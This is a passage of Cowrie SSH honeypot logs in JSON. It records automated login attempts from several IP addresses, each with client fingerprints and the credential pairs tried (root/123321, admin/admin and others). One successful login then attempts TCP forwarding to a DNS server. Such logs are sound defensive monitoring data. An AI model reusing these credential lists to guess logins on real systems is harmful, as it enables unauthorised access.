sh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:04.949564Z","src_ip":"45.153.34.114","session":"6ea4cab32ab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:05.230942Z","src_ip":"45.153.34.114","session":"6ea4cab32ab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:06.325562Z","src_ip":"45.153.34.114","session":"6ea4cab32ab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":39772,"dst_ip":"159.203.135.109","dst_port":22,"session":"227f9787c9b8","protocol":"ssh","message":"New connection: 103.75.199.4:39772 (159.203.135.109:22) [session: 227f9787c9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:10.768591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:10.773588Z","src_ip":"103.75.199.4","session":"227f9787c9b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:10.865014Z","src_ip":"103.75.199.4","session":"227f9787c9b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:11.138608Z","src_ip":"103.75.199.4","session":"227f9787c9b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:12.233132Z","src_ip":"103.75.199.4","session":"227f9787c9b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49598,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ff398ebfd52","protocol":"ssh","message":"New connection: 45.153.34.114:49598 (159.203.135.109:22) [session: 3ff398ebfd52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:13.144112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:13.149723Z","src_ip":"45.153.34.114","session":"3ff398ebfd52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:13.239913Z","src_ip":"45.153.34.114","session":"3ff398ebfd52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:13.492978Z","src_ip":"45.153.34.114","session":"3ff398ebfd52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:14.580517Z","src_ip":"45.153.34.114","session":"3ff398ebfd52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12760,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad56b7849999","protocol":"ssh","message":"New connection: 87.251.64.176:12760 (10.17.0.5:22) [session: ad56b7849999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:17.973576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:17.978639Z","src_ip":"87.251.64.176","session":"ad56b7849999","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:18.076226Z","src_ip":"87.251.64.176","session":"ad56b7849999","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:18.366282Z","src_ip":"87.251.64.176","session":"ad56b7849999","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:18.468641Z","session":"ad56b7849999","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:18.567182Z","src_ip":"87.251.64.176","session":"ad56b7849999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:18.802353Z","src_ip":"87.251.64.176","session":"ad56b7849999","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37246,"dst_ip":"159.203.135.109","dst_port":22,"session":"bda6e122d66b","protocol":"ssh","message":"New connection: 45.153.34.114:37246 (159.203.135.109:22) [session: bda6e122d66b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:21.261427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:21.266379Z","src_ip":"45.153.34.114","session":"bda6e122d66b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:21.352194Z","src_ip":"45.153.34.114","session":"bda6e122d66b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"123456","message":"login attempt [jack/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:21.626299Z","src_ip":"45.153.34.114","session":"bda6e122d66b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:22.714372Z","src_ip":"45.153.34.114","session":"bda6e122d66b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46452,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc99e5506c54","protocol":"ssh","message":"New connection: 45.153.34.114:46452 (159.203.135.109:22) [session: dc99e5506c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:29.416630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:29.421498Z","src_ip":"45.153.34.114","session":"dc99e5506c54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:29.509265Z","src_ip":"45.153.34.114","session":"dc99e5506c54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:29.772820Z","src_ip":"45.153.34.114","session":"dc99e5506c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:30.870528Z","src_ip":"45.153.34.114","session":"dc99e5506c54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":45776,"dst_ip":"159.203.135.109","dst_port":22,"session":"58c54859090f","protocol":"ssh","message":"New connection: 103.75.199.4:45776 (159.203.135.109:22) [session: 58c54859090f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:32.563847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:32.567964Z","src_ip":"103.75.199.4","session":"58c54859090f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:32.663109Z","src_ip":"103.75.199.4","session":"58c54859090f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:32.952988Z","src_ip":"103.75.199.4","session":"58c54859090f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:34.051993Z","src_ip":"103.75.199.4","session":"58c54859090f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":59336,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f706eacaac9","protocol":"ssh","message":"New connection: 20.203.42.204:59336 (159.203.135.109:22) [session: 7f706eacaac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:36.472116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:36.477444Z","src_ip":"20.203.42.204","session":"7f706eacaac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:36.693975Z","src_ip":"20.203.42.204","session":"7f706eacaac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:37.388132Z","src_ip":"20.203.42.204","session":"7f706eacaac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46466,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c8fadbf7546","protocol":"ssh","message":"New connection: 45.153.34.114:46466 (159.203.135.109:22) [session: 0c8fadbf7546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:37.418791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:37.423394Z","src_ip":"45.153.34.114","session":"0c8fadbf7546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 